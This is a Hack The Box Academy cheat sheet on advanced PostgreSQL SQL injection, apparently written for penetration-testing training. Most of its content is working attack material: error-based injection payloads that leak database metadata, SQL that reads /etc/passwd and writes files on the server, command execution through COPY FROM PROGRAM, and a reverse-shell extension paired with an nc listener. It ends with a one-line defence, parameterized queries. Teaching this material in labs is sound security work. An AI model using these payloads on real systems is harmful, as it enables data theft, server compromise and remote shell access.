HACKTHEBOX

ADVANCED SQL INJECTIONS CHEAT SHEET

HTB ACADEMY CHEATSHEET

Interacting with PostgreSQL

```
psql -h <host> -U <username> <database>
```

Decompiling Java Archives

Fernflower

```
mkdir <OutputDirectory>
java -jar Fernflower.jar <Application>.jar <OutputDirectory>
cd <OutputDirectory>
jar -xf <Application>.jar
```

JD-GUI

```
jd-gui <Application>.jar
```

Regex Patterns for Finding SQLi Vulnerabilities

```
SELECT|UPDATE|DELETE|INSERT|CREATE|ALTER|DROP
(WHERE|VALUES).*?'
(WHERE|VALUES).*" +
.*sql.*"
jdbcTemplate
```

Live Debugging Java Applications

```
java -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=y -jar <Application>.jar
```

Enabling PostgreSQL Logging

```
/etc/postgresql/13/main/postgresql.conf
```

- Change `#logging_collector = off` to `logging_collector = on`
- `#log_statement = 'none'` to `log_statement = 'all'`
- Uncomment `#log_directory = '...'`
- Uncomment `#log_filename = '...'`

Common Character Bypasses

- Use `/**/` instead of `space`
- Use `$$string$$` instead of `'string'`

Error-Based SQL Injection

```
' and 0=CAST((SELECT VERSION()) AS INT)--
' and 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) as INT)--
' and 1=CAST((SELECT STRING_AGG(table_name,',') FROM information_schema.tables LIMIT 1) as INT)--
';SELECT CAST(CAST(QUERY_TO_XML('SELECT ...',TRUE,TRUE,'') AS TEXT) AS INT)--
```

Reading and Writing Files

Reading with COPY

```
CREATE TABLE tmp (t TEXT);
COPY tmp FROM '/etc/passwd';
COPY tmp FROM '/etc/hosts' DELIMITER E'\x07';
SELECT * FROM tmp;
DROP TABLE tmp;
```

Reading with Large Objects

```
SELECT lo_import('/etc/passwd');
SELECT lo_get(16513);
SELECT data FROM pg_largeobject WHERE loid=16513 AND pageno=0;
echo 726f6f743<SNIP> | xxd -r -p
```

Writing with COPY

```
CREATE TABLE tmp (t TEXT);
INSERT INTO tmp VALUES ('To hack, or not to hack, that is the question');
COPY tmp TO '/tmp/proof.txt';
DROP TABLE tmp;
```

Writing with Large Objects

```
split -b 2048 /etc/passwd
xxd -ps -c 99999999999 xaa
SELECT lo_create(31337);
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (31337, 0, DECODE('726f6f74<SNIP>6269','HEX'));
SELECT lo_export(31337, '/tmp/passwd');
SELECT lo_unlink(31337);
```

Command Execution

RCE with COPY

```
CREATE TABLE tmp(t TEXT);
COPY tmp FROM PROGRAM 'id';
SELECT * FROM tmp;
DROP TABLE tmp;
```

RCE with Extensions

```
sudo apt install postgresql-server-dev-13
gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_rev_shell.so pg_rev_shell.c
nc -nvlp 443

CREATE FUNCTION rev_shell(text, integer) RETURNS integer AS '/tmp/pg_rev_shell', 'rev_shell' LANGUAGE C STRICT;
SELECT rev_shell('127.0.0.1', 443);
```

Defending Against SQL Injection

Use **parameterized queries**!